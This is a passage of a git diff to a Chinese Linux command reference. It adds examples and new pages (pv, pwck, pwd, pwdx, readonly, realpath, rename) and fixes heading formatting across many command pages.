驱动器拷贝电影文件到你的电脑。如果你使用 cp 来完成上面的任务,你会什么情况都不清楚,直到整个复制过程结束或者出错。 @@ -84,19 +84,59 @@ linux [master●] % pv ~/Downloads/CentOS-7-x86_64-Minimal-1511.iso > ~/Desktop/ pv -L 2m /media/himanshu/1AC2-A8E3/fNf.mkv > ./Desktop/fnf.mkv ``` +复制文件时显示进度条(如果没有指定选项,默认使用 -p, -t, -e, -r 和 -b 选项) + +```bash +$ pv getiot.db > getiot.db.bak +``` +将 `/var/log/syslog` 文件打包成 zip 压缩包,并显示进度 + +```bash +$ pv /var/log/syslog | zip > syslog.zip +``` + +使用 tar 命令解压缩时显示进度条 + +```bash +$ pv rootfs.tar.bz2 | tar -jxf - -C rootfs/ +12.3MiB 0:00:02 [6.15MiB/s] [=========> ] 21% ETA 0:00:07 +```` + +解压完成 + +```bash +$ pv rootfs.tar.bz2 | tar -jxf - -C rootfs/ +57.8MiB 0:00:10 [5.53MiB/s] [==============================================>] 100% +``` + +字符一个个匀速在命令行中显示出来 ```shell -# 字符一个个匀速在命令行中显示出来 echo "Tecmint[dot]com is a community of Linux Nerds and Geeks" | pv -qL 10 +``` -# 压缩文件展示进度信息 +压缩文件展示进度信息 + +```shell pv /media/himanshu/1AC2-A8E3/fnf.mkv | gzip > ./Desktop/fnf.log.gz +``` +用 dd 命令将 iso 写入磁盘,pv来实现进度条的显示 -# 用 dd 命令将 iso 写入磁盘,pv来实现进度条的显示 +```shell sudo pv -cN source < /Users/kacperwang/Downloads/CentOS-7-x86_64-Everything-1511.iso | sudo dd of=/dev/disk2 bs=4m ## 显示下面进度 source: 5.2GiB 5:11:41 [ 503KiB/s] [=====================> ] 71% ETA 2:01:56 ``` - \ No newline at end of file +在linux上, 如果执行的一些命令或者一些脚本需要花费很长时间, 但又不能拿出更多的精力反复盯着有没有执行结束, 这时候可以用pv监听PID, 任务完成后通过网络通知到微信或者钉钉, 这样就可以腾出来精力做其他的事, 是不是很棒 + +```shell +$ pv -d $(ps -ef | grep -v grep | grep "<脚本或命令的关键字>" | awk '{print $2}') && <这里执行发通知脚本或者命令,脚本或命令需要提前调试好> +``` + +### 注意 + +1. 选项"-d, --watchfd PID[:FD]", 是在1.6.6版本中才有的参数,如果使用需要`pv`升级到大于等于1.6.6的版本 +2. CentOS7的Yum仓库里`pv`最新的是1.4.6版本,1.6.6版本是发布在CentOS8里面的,如果需要,可以将CentOS8里的pv下载到本地电脑上或者本地的Yum私服里, 这个是[下载地址](http://www.rpmfind.net/linux/rpm2html/search.php?query=pv&submit=Search+...&system=EPEL&arch=), 可以根据自己不同的架构下载, 1.6.6的安装: `rpm -ivh pv-1.6.6-7.el8.x86_64.rpm -U` + diff --git a/command/pvchange.md b/command/pvchange.md index 986ab22b3ab..028127f5534 100644 --- a/command/pvchange.md +++ b/command/pvchange.md @@ -7,24 +7,24 @@ pvchange **pvchange命令** 允许管理员改变物理卷的分配许可。如果物理卷出现故障,可以使用pvchange命令禁止分配物理卷上的PE。 -### 语法 +### 语法 ```shell pvchange(选项)(参数) ``` -### 选项 +### 选项 ```shell -u:生成新的UUID; -x:是否允许分配PE。 ``` -### 参数 +### 参数 物理卷:指定要修改属性的物理卷所对应的设备文件。 -### 实例 +### 实例 使用pvchange命令禁止分配指定物理卷上的PE。在命令行中输入下面的命令: @@ -40,4 +40,3 @@ Physical volume "/dev/sdb1" changed ``` - \ No newline at end of file diff --git a/command/pvck.md b/command/pvck.md index bbe22e34c89..586078bc86f 100644 --- a/command/pvck.md +++ b/command/pvck.md @@ -7,13 +7,13 @@ pvck **pvck命令** 用来检测物理卷的LVM元数据的一致性。默认情况下,物理卷中的前4个扇区保存着LVM卷标,可以使用`--labelsector`选项指定其他的位置(例如:数据恢复时)。 -### 语法 +### 语法 ```shell pvck(选项)(参数) ``` -### 选项 +### 选项 ```shell -d:调试模式; @@ -21,11 +21,11 @@ pvck(选项)(参数) --labelsector:指定LVE卷标所在扇区。 ``` -### 参数 +### 参数 物理卷:指定要检查的物理卷对应的设备文件。 -### 实例 +### 实例 使用pvck命令检查物理卷`/dev/sdb1`。在命令行中输入下面的命令: @@ -39,4 +39,3 @@ size=70656, offset2=0 size2=0 ``` - \ No newline at end of file diff --git a/command/pvcreate.md b/command/pvcreate.md index 69e26c23832..7867179dd08 100644 --- a/command/pvcreate.md +++ b/command/pvcreate.md @@ -7,13 +7,13 @@ pvcreate **pvcreate命令** 用于将物理硬盘分区初始化为物理卷,以便LVM使用。 -### 语法 +### 语法 ```shell pvcreate(选项)(参数) ``` -### 选项 +### 选项 ```shell -f:强制创建物理卷,不需要用户确认; @@ -22,11 +22,11 @@ pvcreate(选项)(参数) -Z:是否利用前4个扇区。 ``` -### 参数 +### 参数 物理卷:指定要创建的物理卷对应的设备文件名。 -### 实例 +### 实例 查看磁盘信息: @@ -110,4 +110,3 @@ Physical volume "/dev/sdb1" changed ``` - \ No newline at end of file diff --git a/command/pvdisplay.md b/command/pvdisplay.md index 4d5dacd1084..4461bc88104 100644 --- a/command/pvdisplay.md +++ b/command/pvdisplay.md @@ -7,24 +7,24 @@ pvdisplay **pvdisplay命令** 用于显示物理卷的属性。pvdisplay命令显示的物理卷信息包括:物理卷名称、所属的卷组、物理卷大小、PE大小、总PE数、可用PE数、已分配的PE数和UUID。 -### 语法 +### 语法 ```shell pvdisplay(选项)(参数) ``` -### 选项 +### 选项 ```shell -s:以短格式输出; -m:显示PE到LE的映射。 ``` -### 参数 +### 参数 物理卷:要显示的物理卷对应的设备文件名。 -### 实例 +### 实例 使用pvdisplay命令显示指定的物理卷的基本信息。在命令行中输入下面的命令: @@ -43,4 +43,3 @@ PV UUID FOXiS2-Ghaj-Z0Mf- cdVZ-pfpk- dP9p-ifIZXN ``` - \ No newline at end of file diff --git a/command/pvremove.md b/command/pvremove.md index 5a6c37676d3..99e3b16557b 100644 --- a/command/pvremove.md +++ b/command/pvremove.md @@ -7,13 +7,13 @@ pvremove **pvremove命令** 用于删除一个存在的物理卷。使用pvremove指令删除物理卷时,它将LVM分区上的物理卷信息删除,使其不再被视为一个物理卷。 -### 语法 +### 语法 ```shell pvremove(选项)(参数) ``` -### 选项 +### 选项 ```shell -d # 调试模式; @@ -21,11 +21,11 @@ pvremove(选项)(参数) -y # 对提问回答“yes”。 ``` -### 参数 +### 参数 物理卷:指定要删除的物理卷对应的设备文件名。 -### 实例 +### 实例 使用pvremove指令删除物理卷`/dev/sdb2`。在命令行中输入下面的命令: @@ -35,4 +35,3 @@ Labels on physical volume "/dev/sdb2" successfully wiped ``` - \ No newline at end of file diff --git a/command/pvs.md b/command/pvs.md index 6c9b75362ff..d87a18ac37a 100644 --- a/command/pvs.md +++ b/command/pvs.md @@ -7,24 +7,24 @@ pvs **pvs命令** 用于输出格式化的物理卷信息报表。使用pvs命令仅能得到物理卷的概要信息,如果要得到更加详细的信息可以使用pvdisplay命令。 -### 语法 +### 语法 ```shell pvs(选项)(参数) ``` -### 选项 +### 选项 ```shell --noheadings:不输出标题头; --nosuffix:不输出空间大小的单位。 ``` -### 参数 +### 参数 物理卷:要显示报表的物理卷列表。 -### 实例 +### 实例 使用pvs命令显示系统中所有物理卷的信息报表。在命令行中输入下面的命令: @@ -41,4 +41,3 @@ PV VG fmt Attr PSize PFree ``` - \ No newline at end of file diff --git a/command/pvscan.md b/command/pvscan.md index 2e7ea33c385..023573c1e12 100644 --- a/command/pvscan.md +++ b/command/pvscan.md @@ -7,13 +7,13 @@ pvscan **pvscan命令** 会扫描系统中连接的所有硬盘,列出找到的物理卷列表。使用pvscan命令的`-n`选项可以显示硬盘中的不属于任何卷组的物理卷,这些物理卷是未被使用的。 -### 语法 +### 语法 ```shell pvscan(选项) ``` -### 选项 +### 选项 ```shell -d:调试模式; @@ -23,7 +23,7 @@ pvscan(选项) -u:显示UUID。 ``` -### 实例 +### 实例 使用pvscan命令扫描当前系统中所有硬盘的物理卷,在命令行中输入下面的命令: @@ -43,4 +43,3 @@ MB] 说明:本例中,输出了两个物理卷,它们不属于任何卷组,是可被利用的物理卷。 - \ No newline at end of file diff --git a/command/pwck.md b/command/pwck.md index 28da587f123..31c0fb2ee52 100644 --- a/command/pwck.md +++ b/command/pwck.md @@ -7,47 +7,41 @@ pwck **pwck命令** 用来验证系统认证文件`/etc/passwd`和`/etc/shadow`的内容和格式的完整性。 -### 语法 +### 语法 ```shell pwck(选项)(参数) ``` -### 选项 +### 选项 ```shell -q:仅报告错误信息; -s:以用户id排序文件“/etc/passwd”和“/etc/shadow”; --r:只读方式运行指令。 +-r:只读方式运行指令; +-R:在指定的chroot环境下检查密码文件。 ``` -### 参数 +### 参数 * 密码文件:指定密码文件的路径; * 影子文件:指定影子文件的路径。 -### 实例 +### 实例 ```shell -pwck /etc/passwd -user 'lp': directory '/var/spool/lpd' does not exist -user 'news': directory '/var/spool/news' does not exist -user 'uucp': directory '/var/spool/uucp' does not exist -user 'www-data': directory '/var/www' does not exist -user 'list': directory '/var/list' does not exist -user 'irc': directory '/var/run/ircd' does not exist -user 'gnats': directory '/var/lib/gnats' does not exist -user 'nobody': directory '/nonexistent' does not exist -user 'syslog': directory '/home/syslog' does not exist -user 'couchdb': directory '/var/lib/couchdb' does not exist -user 'speech-dispatcher': directory '/var/run/speech-dispatcher' does not exist -user 'usbmux': directory '/home/usbmux' does not exist -user 'haldaemon': directory '/var/run/hald' does not exist -user 'pulse': directory '/var/run/pulse' does not exist -user 'saned': directory '/home/saned' does not exist -user 'hplip': directory '/var/run/hplip' does not exist -pwck:无改变 +pwck +user 'ftp': directory '/var/ftp' does not exist +pwck: no changes ``` +执行`pwck`命令后显示了一些警告,提示有用户`lp`的主目录 `/var/spool/lpd`不存在。为了解决这个问题,你有几个选项: +1. 如果你确定这些用户不会被使用,你可以考虑使用`userdel`命令来删除这些用户。 +2. 如果这些用户需要被使用,你应该创建相应的目录。例如,你可以使用以下命令: - - \ No newline at end of file +```shell +# 创建目录 +sudo mkdir /var/ftp +# 将目录的所有权赋给相应的用户 +sudo chown ftp:ftp /var/ftp +``` +3. 如果这些用户对应的软件包还未安装,你可以考虑安装它们。软件包管理器(如`yum`或`apt`)通常会自动创建必要的用户和目录。 diff --git a/command/pwconv.md b/command/pwconv.md index 9b197228b79..c2b6a245eff 100644 --- a/command/pwconv.md +++ b/command/pwconv.md @@ -7,13 +7,13 @@ pwconv **pwconv命令** 用来开启用户的投影密码。Linux系统里的用户和群组密码,分别存放在名称为passwd和group的文件中, 这两个文件位于`/etc`目录下。因系统运作所需,任何人都得以读取它们,造成安全上的破绽。投影密码将文件内的密码改存在`/etc`目录下的shadow和gshadow文件内,只允许系统管理者读取,同时把原密码置换为"x"字符,有效的强化了系统的安全性。 -### 语法 +### 语法 ```shell pwconv ``` -### 实例 +### 实例 ```shell cat /etc/passwd | grep test @@ -28,4 +28,3 @@ test:$6$nYOEWamm$bz07nlv/.RgJufb3FAqJJeULfwybzgxmrWqbk7O4vI0KsT6N.ujrh6dDIUcAJdf ``` - \ No newline at end of file diff --git a/command/pwd.md b/command/pwd.md index f1f98e9c1ce..64951e0a896 100644 --- a/command/pwd.md +++ b/command/pwd.md @@ -1,31 +1,95 @@ pwd === -绝对路径方式显示用户当前工作目录 +显示当前工作目录的绝对路径。 ## 补充说明 -**pwd命令** 以绝对路径的方式显示用户当前工作目录。命令将当前目录的全路径名称(从根目录)写入标准输出。全部目录使用`/`分隔。第一个`/`表示根目录,最后一个目录是当前目录。执行pwd命令可立刻得知您目前所在的工作目录的绝对路径名称。 +pwd(英文全拼:print working directory) 命令用于显示用户当前所在的工作目录(以绝对路径显示)。 -### 语法 +## 内建命令 + +#### 概要 + +```shell +pwd [-LP] +``` + +#### 选项 ```shell -pwd(选项) +-L (默认值)打印环境变量"$PWD"的值,可能为符号链接。 +-P 打印当前工作目录的物理位置。 ``` -### 选项 +#### 返回值 + +返回状态为成功除非给出了非法选项或是当前目录无法读取。 + +#### 注意 + +1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。 + + +## 外部命令 + +#### 概要 ```shell ---help:显示帮助信息; ---version:显示版本信息。 +pwd [OPTION]... ``` -### 实例 +#### 主要用途 + +- 显示当前工作目录。 + + +#### 选项 ```shell -[root@localhost ~]# pwd -/root +-L, --logical 打印环境变量"$PWD"的值,可能为符号链接。 +-P, --physical (默认值)打印当前工作目录的物理位置。 +--help 显示帮助信息并退出。 +--version 显示版本信息并退出。 ``` +#### 返回值 + +返回状态为成功除非给出了非法选项或是当前目录无法读取。 + +#### 注意 - \ No newline at end of file +1. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man pwd`或`info coreutils 'pwd invocation'`。 +2. 启动或关闭内建命令请查看`enable`命令,关于同名优先级的问题请查看`builtin`命令的例子部分的相关讨论。 +3. 在不禁用内建且当前环境没有定义`pwd`函数的情况下,使用`/usr/bin/pwd`指向`coreutils`的`pwd`,使用`pwd`指向bash内建的`pwd`。 + + +## 例子 + +查看当前所在路径 + +```shell +[root@localhost var]# pwd +/var +``` + +显示软连接文件最终指向的文件路径 + +```shell +[root@localhost ~]# cd /var/ # 进入/var目录,该目录下有个 mail 软连接文件 +[root@localhost var]# ls -al +total 164 +... +lrwxrwxrwx 1 root root 10 Oct 17 2015 mail -> spool/mail + +[root@localhost var]# cd mail/ # 进入 mail 目录,mail 为连接文件。 +[root@localhost mail]# pwd # 默认,使用连接文件,直接显示连接文件全路径。 +/var/mail +``` + +使用 `-P` 参数,显示的不是逻辑路径,而是连接(软连接)文件最终指向的文件 + +```shell +[root@localhost mail]# pwd -P +/var/spool/mail +``` diff --git a/command/pwdx.md b/command/pwdx.md new file mode 100644 index 00000000000..c0eeb3cc97d --- /dev/null +++ b/command/pwdx.md @@ -0,0 +1,61 @@ +pwdx +=== + +用于显示指定进程的当前工作目录 + +## 内建命令 + + +### 概要 + +```shell +pwdx [进程ID] +``` + +### 参数说明 + +- `进程ID`:要查询的进程ID,可以使用 `ps` 命令查看。 + +## 示例 + + +下面示例中,使用 `ps` 命令查看 `nginx` 进程的信息,然后使用 `pwdx` 命令查询进程ID为 `5678` 的进程的当前工作目录。 + +```bash +$ ps -ef | grep nginx +# root 1234 1 0 10:00 ? 00:00:00 nginx: master process /usr/sbin/nginx -g daemon on; master_process on; +# www-data 5678 1234 0 10:01 ? 00:00:00 nginx: worker process + +$ pwdx 5678 +# 5678: /var/www/html +``` + +查看当前进程的工作目录: + +```bash +$ pwdx $$ +``` + +查看指定进程的工作目录: + +```bash +$ pwdx 1234 +``` + +批量查看多个进程的工作目录: + +```bash +$ ps aux | awk '{print $2}' | xargs pwdx +``` + +结合其他命令,查看某个进程的工作目录和命令行: + +```bash +$ ps -p 1234 -o cmd | tail -n 1 | awk '{print $1}' | xargs pwdx +``` + +查看所有进程的工作目录: + +```bash +$ ps -eo pid | xargs pwdx +``` \ No newline at end of file diff --git a/command/pwunconv.md b/command/pwunconv.md index 2cec1b82528..cda5a01dbdd 100644 --- a/command/pwunconv.md +++ b/command/pwunconv.md @@ -7,13 +7,13 @@ pwunconv **pwunconv命令** 与pwconv功能相反,用来关闭用户的投影密码。它会把密码从shadow文件内,重回存到passwd文件里。 -### 语法 +### 语法 ```shell pwunconv ``` -### 实例 +### 实例 ```shell pwunconv # 关闭影子密码 @@ -25,4 +25,3 @@ ls: cannot access /etc/shadow: No such file or directory ``` - \ No newline at end of file diff --git a/command/quota.md b/command/quota.md index 1d3520f7e98..2ed5b52799a 100644 --- a/command/quota.md +++ b/command/quota.md @@ -7,13 +7,13 @@ quota **quota命令** 用于显示用户或者工作组的磁盘配额信息。输出信息包括磁盘使用和配额限制。 -### 语法 +### 语法 ```shell quota(选项)(参数) ``` -### 选项 +### 选项 ```shell -g:列出群组的磁盘空间限制; @@ -23,11 +23,11 @@ quota(选项)(参数) -V:显示版本信息。 ``` -### 参数 +### 参数 用户或者工作组:指定要显示的用户或者工作组。 -### 实例 +### 实例 我们可以限制某一群组所能使用的最大磁盘配额,而且可以再限制某一使用者的最大磁盘配额 ,好比做一个收费的应用,vip可以得到空间更大一些。另外,以 Link 的方式,来使邮件可以作为限制的配额(更改`/var/spool/mail` 这个路径),不2,需要重新再规划一个硬盘!直接使用 Link 的方式指向 /home (或者其它已经做好的 quota 磁盘)就可以!这通常是用在原本规划不好,但是却又不想要更动原有主机架构的情况中! @@ -148,4 +148,3 @@ Disk quotas for group qgroup (gid 502): ``` - \ No newline at end of file diff --git a/command/quotacheck.md b/command/quotacheck.md index 7dae5102c4b..3a194bdaad5 100644 --- a/command/quotacheck.md +++ b/command/quotacheck.md @@ -7,16 +7,25 @@ quotacheck **quotacheck命令** 通过扫描指定的文件系统,获取磁盘的使用情况,创建、检查和修复磁盘配额(quota)文件。执行quotacheck指令,扫描挂入系统的分区,并在各分区的文件系统根目录下产生quota.user和quota.group文件,设置用户和群组的磁盘空间限制。 -### 语法 +如果在执行quotacheck命令时出现了以下信息: + +```shell +quotacheck: Your kernel probably supports journaled quota but you are not using it. Consider switching to journaled quota to avoid running quotacheck after an unclean shutdown. +``` + +可以考虑将之前在文件系统的配置文件中添加的quota相关字段修改为:`usrjquota=aquota.user,grpjquota=aquota.group,jqfmt=vfsv1`,然后重新挂载文件系统:`mount -vo remount 挂载目录`(注意,如果这一步操作出现了任何问题,千万不要试图通过重启解决!将配置文件恢复原状是一个好的选择) + +### 语法 ```shell quotacheck(选项)(参数) ``` -### 选项 +### 选项 ```shell -a:扫描在/etc/fstab文件里,有加入quota设置的分区; +-c:对目标文件系统进行一次新的扫描,并创建新的quota文件; -d:详细显示指令执行过程,便于排错或了解程序执行的情形; -g:扫描磁盘空间时,计算每个群组识别码所占用的目录和文件数目; -R:排除根目录所在的分区; @@ -24,11 +33,11 @@ quotacheck(选项)(参数) -v:显示指令执行过程。 ``` -### 参数 +### 参数 文件系统:指定要扫描的文件系统。 -### 实例 +### 实例 将所有的在`/etc/mtab`内,含有quota支持的partition进行扫描: @@ -44,5 +53,11 @@ quotacheck: Checked 3 directories and 4 files [root@linux ~]# quotacheck -avug -m ``` +扫描指定的filesystem: + +```shell +[root@linux ~]# quotacheck -cvug /disk2 +``` + + - \ No newline at end of file diff --git a/command/quotaoff.md b/command/quotaoff.md index 97c95f23344..c4472bc7656 100644 --- a/command/quotaoff.md +++ b/command/quotaoff.md @@ -7,13 +7,13 @@ quotaoff **quotaoff命令** 用于关闭Linux内核中指定文件系统的磁盘配额功能。 -### 语法 +### 语法 ```shell quotaoff(选项)(参数) ``` -### 选项 +### 选项 ```shell -a:关闭在/etc/fstab文件里,有加入quota设置的分区的空间限制; @@ -22,9 +22,8 @@ quotaoff(选项)(参数) -v:显示指令执行过程。 ``` -### 参数 +### 参数 文件系统:指定要关闭磁盘配额功能的文件系统。 - \ No newline at end of file diff --git a/command/quotaon.md b/command/quotaon.md index ca3e2e9d27b..38a28b45e41 100644 --- a/command/quotaon.md +++ b/command/quotaon.md @@ -5,15 +5,15 @@ quotaon ## 补充说明 -**quotaon命令** 用于激活Linux内核中指定文件系统的磁盘配额功能。执行quotaon指令可开启用户和群组的才磅秒年空间限制,各分区的文件系统根目录必须有quota.user和quota.group配置文件。 +**quotaon命令** 执行quotaon指令可开启磁盘对用户和群组的空间使用限制,但在开启前,各分区的文件系统根目录必须存在通过quotacheck命令创建的quota配置文件。 -### 语法 +### 语法 ```shell quotaon(选项)(参数) ``` -### 选项 +### 选项 ```shell -a:开启在/ect/fstab文件里,有加入quota设置的分区的空间限制; @@ -22,9 +22,9 @@ quotaon(选项)(参数) -v:显示指令指令执行过程。 ``` -### 参数 +### 参数 文件系统:指定要激活磁盘配额功能的文件系统。 - \ No newline at end of file + diff --git a/command/rcconf.md b/command/rcconf.md index f3d60d7e74f..2983d19d9bd 100644 --- a/command/rcconf.md +++ b/command/rcconf.md @@ -7,13 +7,13 @@ Debian Linux下的运行等级服务配置工具 **rcconf命令** 是Debian Linux下的运行等级服务配置工具,用以设置在特定的运行等级下系统服务的启动配置。 -### 语法 +### 语法 ```shell rcconf(选项) ``` -### 选项 +### 选项 ```shell --help:打印帮助信息; @@ -22,4 +22,3 @@ rcconf(选项) ``` - \ No newline at end of file diff --git a/command/rcp.md b/command/rcp.md index a6d1366d282..0bff58254c1 100644 --- a/command/rcp.md +++ b/command/rcp.md @@ -7,13 +7,13 @@ rcp **rcp命令** 使在两台Linux主机之间的文件复制操作更简单。通过适当的配置,在两台Linux主机之间复制文件而无需输入密码,就像本地文件复制一样简单。 -### 语法 +### 语法 ```shell rcp(选项)(参数) ``` -### 选项 +### 选项 ```shell -p:保留源文件或目录的属性,包括拥有者、所属群组、权限与时间; @@ -26,11 +26,11 @@ rcp(选项)(参数) directory 每个文件或目录参数既可以是远程文件名也可以是本地文件名。远程文件名具有如下形式`rname@rhost:path`,其中rname是远程用户名,rhost是远程计算机名,path是这个文件的路径。 -### 参数 +### 参数 源文件:指定要复制的源文件。源文件可以有多个。 -### 实例 +### 实例 **rcp命令使用条件** @@ -122,4 +122,4 @@ rcp –r webserver1:/home/root/work .Enter `.`表示当前目录。将在此目录下创建 work 目录。 - + diff --git a/command/read.md b/command/read.md index 9916b662cf2..5bb2f20e1b1 100644 --- a/command/read.md +++ b/command/read.md @@ -7,24 +7,24 @@ read **read命令** 从键盘读取变量的值,通常用在shell脚本中与用户进行交互的场合。该命令可以一次读取多个变量的值,变量和输入的值都需要使用空格隔开。在read命令后面,如果没有指定变量名,读取的数据将被自动赋值给特定的变量REPLY -### 语法 +### 语法 ```shell read(选项)(参数) ``` -### 选项 +### 选项 ```shell -p:指定读取值时的提示符; -t:指定读取值时等待的时间(秒)。 ``` -### 参数 +### 参数 变量:指定读取值的变量名。 -### 实例 +### 实例 下面的列表给出了read命令的常用方式: @@ -177,4 +177,3 @@ Linux c+ #输出变量值 注意:使用echo命令输出变量值时,必须在变量名前添加符号`$`。否则,echo将直接输出变量名。 - \ No newline at end of file diff --git a/command/readelf.md b/command/readelf.md index a57d9a36a49..a53951c81d8 100644 --- a/command/readelf.md +++ b/command/readelf.md @@ -11,7 +11,7 @@ readelf 运行readelf的时候,除了-v和-H之外,其它的选项必须有一个被指定。  -### ELF文件类型 +### ELF文件类型 **种类型的ELF文件:** @@ -36,7 +36,7 @@ elf文件头描述elf文件的总体信息。包括:系统相关,类型相 * 加载相关:包括程序头表相关信息。  * 链接相关:节头表相关信息。  -### 选项 +### 选项 ```shell -a @@ -108,7 +108,7 @@ elf文件头描述elf文件的总体信息。包括:系统相关,类型相 @file 可以将选项集中到一个文件中,然后使用这个@file选项载入。 ``` -### 实例 +### 实例 先给出如下例子: @@ -598,4 +598,3 @@ Key to Flags: ``` - \ No newline at end of file diff --git a/command/readonly.md b/command/readonly.md index 179f6dde438..1895df531c6 100644 --- a/command/readonly.md +++ b/command/readonly.md @@ -1,50 +1,94 @@ readonly === -定义只读shell变量或函数 +标记shell变量或函数为只读 -## 补充说明 +## 语法 -**readonly命令** 用于定义只读shell变量和shell函数。readonly命令的选项-p可以输出显示系统中所有定义的只读变量。 +```shell +readonly [-aAf] [name[=value] ...] +readonly -p +``` + +## 主要用途 + +- 定义一到多个变量并设置只读属性。 +- 为已定义的一到多个变量设置只读属性。 +- 显示全部包含只读属性的变量。 +- 为已定义的一到多个函数设置只读属性。 +- 显示全部包含只读属性的函数。 -### 语法 +## 选项 ```shell -readonly(选项)(参数) +-a:指向数组。 +-A:指向关联数组。 +-f:指向函数。 +-p:显示全部只读变量。 +--:在它之后的选项无效。 ``` -### 选项 +## 参数 ```shell --f:定义只读函数; --a:定义只读数组变量; --p:显示系统中全部只读变量列表。 +name(可选):变量名或函数名 +value(可选):变量的值 ``` -### 参数 +### 返回值 -变量定义:定义变量,格式为“变量名=‘变量值’”。 +readonly返回true除非你提供了非法选项或非法名称。 -### 实例 +## 例子 -使用readonly命令显示系统中所有的已经定义的只读变量,输入如下命令: +```shell +# 定义变量并增加只读属性 +readonly var1=13 var2 +readonly -a arr1=(1 2 3 4 5) arr2=('z' 'x' 'c') +# 必须有 '-A' 选项 +readonly -A dict1=(['key1']='value1') +``` ```shell -[root@localhost ~]# readonly #显示只读变量 -declare -ar BASH_VERSINFO='([0]="3" [1]="2" [2]="25" [3]="1" [4]="release" [5]="i686-redhat-linux-gnu")' -declare -ir EUID="0" -declare -ir PPID="31436" -declare -r SHELLOPTS="braceexpand:emacs:hashall:histexpand:history:interactive-comments:monitor" -declare -ir UID="0" +# 先定义变量、函数,然后再为它们添加只读属性 +max=3 +readonly max + +# 数组定义时可以不加 `declare -a` +seasons=('spring' 'summer' 'autumn' 'winter') +# 为数组添加只读属性时可以不加 `-a` 选项 +readonly seasons + +declare -A man=(['age']=23 ['height']='190cm') +# 为关联数组添加只读属性时可以不加 `-A` 选项 +readonly man + +function foo(){ echo 'bar'; } +# 为函数添加只读属性时必须加 `-f` 选项 +readonly -f foo ``` +```shell +# 显示全部只读变量,以下两个命令的显示结果一样 +readonly +readonly -p +# 显示全部拥有只读属性的数组 +readonly -a +# 显示全部拥有只读属性的关联数组 +readonly -A +# 显示全部拥有只读属性的函数 +readonly -f +``` + +## 常见错误 + 对于只读变量而言,若用户对其值进行修改,则会立即报错。例如,使用该指令定义一个只读变量"test",并且将其值初始化为"ok",输入如下命令: ```shell [root@localhost ~]# readonly test='ok' #定义只读变量并初始化 ``` -那么当用户直接修改该只读变量时,就会被报错,如下所示: +那么当用户直接修改该只读变量时就会报错,如下所示: ```shell [root@localhost ~]# test='my' #试图修改只读变量的值 @@ -53,5 +97,9 @@ declare -ir UID="0" 当用户试图修改只读变量的值时,会被提示该变量为只读变量。 +## 注意 + +1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。 +2. `declare +r`不能去除只读属性, `unset`不能删除只读变量。 + - \ No newline at end of file diff --git a/command/realpath.md b/command/realpath.md new file mode 100644 index 00000000000..0968a5f882c --- /dev/null +++ b/command/realpath.md @@ -0,0 +1,64 @@ +realpath +=== + +解析并规范化文件路径,返回绝对路径。 + +## 补充说明 + +**realpath** 命令用于解析给定路径中的符号链接、相对路径(如 `.`、`..`),并输出其对应的**绝对路径**。 +它常用于脚本中获取文件或目录的真实位置,避免因符号链接或相对路径导致的路径歧义。 + +与直接使用 `pwd` 或字符串拼接不同,`realpath` 能保证输出路径是唯一、真实、可访问的物理路径。 + +### 语法 + +```shell +realpath [选项] 文件... +``` + +### 选项 + +```shell +-e, --canonicalize-existing 仅在路径中所有组件都存在时才输出结果 +-m, --canonicalize-missing 即使路径中部分组件不存在也输出规范化路径 +-L, --logical 按逻辑方式解析符号链接(默认) +-P, --physical 按物理方式解析符号链接 +-q, --quiet 静默模式,不输出错误信息 +-s, --strip 删除路径末尾的斜杠 +--relative-to=DIR 输出相对于 DIR 的路径 +--relative-base=DIR 若可能,输出相对于 DIR 的路径 +--help 显示帮助信息 +--version 显示版本信息 +``` + +### 参数 + +```shell +文件 需要解析的文件或目录路径,可以是相对路径或符号链接 +``` + +## 实例 + +### 获取文件的绝对路径 + +```shell +realpath file.txt +``` + +### 解析符号链接的真实路径 + +```shell +realpath /usr/bin/python +``` + +### 即使路径不存在也返回规范化结果 + +```shell +realpath -m ./not/exist/path +``` + +### 输出相对于指定目录的路径 + +```shell +realpath --relative-to=/usr /usr/bin/env +``` diff --git a/command/reboot.md b/command/reboot.md index 6fa207404d5..7b14d653f84 100644 --- a/command/reboot.md +++ b/command/reboot.md @@ -7,13 +7,13 @@ reboot **reboot命令** 用来重新启动正在运行的Linux操作系统。 -### 语法 +### 语法 ```shell reboot(选项) ``` -### 选项 +### 选项 ```shell -d:重新开机时不把数据写入记录文件/var/tmp/wtmp。本参数具有“-n”参数效果; @@ -23,7 +23,7 @@ reboot(选项) -w:仅做测试,并不真正将系统重新开机,只会把重开机的数据写入/var/log目录下的wtmp记录文件。 ``` -### 实例 +### 实例 ```shell reboot //重开机。 @@ -31,4 +31,3 @@ reboot -w //做个重开机的模拟(只有纪录并不会真的重开机 ``` - \ No newline at end of file diff --git a/command/reject.md b/command/reject.md index 3d94ae753be..322c151fb75 100644 --- a/command/reject.md +++ b/command/reject.md @@ -7,13 +7,13 @@ reject **reject命令** 属于CUPS套件,用于指示打印系统拒绝发往指定目标打印机的打印任务。 -### 语法 +### 语法 ```shell reject(选项)(参数) ``` -### 选项 +### 选项 ```shell -E:当连接到服务器时强制使用加密; @@ -22,9 +22,8 @@ reject(选项)(参数) -r:指定拒绝打印任务的原因。 ``` -### 参数 +### 参数 目标:指定目标打印机。 - \ No newline at end of file diff --git a/command/rename.md b/command/rename.md index 77c09e63335..f537ee1a664 100644 --- a/command/rename.md +++ b/command/rename.md @@ -5,73 +5,158 @@ rename ## 补充说明 -**rename命令** 用字符串替换的方式批量改变文件名。 +rename命令存在两个版本用法上有所区别 + +```bash +C语言版本, 支持通配符 +[常用通配符说明] +? 表示一个任意字符 +* 表示一个或一串任意字符 + +Perl版本, 支持正则表达式 +[常用正则表达式符号说明] +^ 匹配输入的开始位置 +$ 匹配输入的结尾 +. 匹配除换行符外的任意字符 ++ 匹配前一个字符一次或多次 例如,"zo+"可以匹配"zoo",但不匹配"z" +[a-z] 表示某个范围内的字符,例如,"[a-z]"匹配"a"与"z"之间的任何一个小写字母字符。 +[^m-z] 否定的字符区间。与不在指定区间内的字符匹配。 +``` + +区分方法: `rename --version` -### 语法 +如果返回结果中包含 **util-linux** , 说明是C语言版本, 反之是Perl版本 +```bash +# Perl版本 | Ubuntu(18),Mint(20)默认的是Perl版本 +$ rename --version +/usr/bin/rename using File::Rename version 1.10 -```shell -rename(参数) +# C语言版本 | Centos(7)默认的是C语言版本 +$ rename --version +rename,来自 util-linux 2.23.2 ``` -### 参数 -```shell 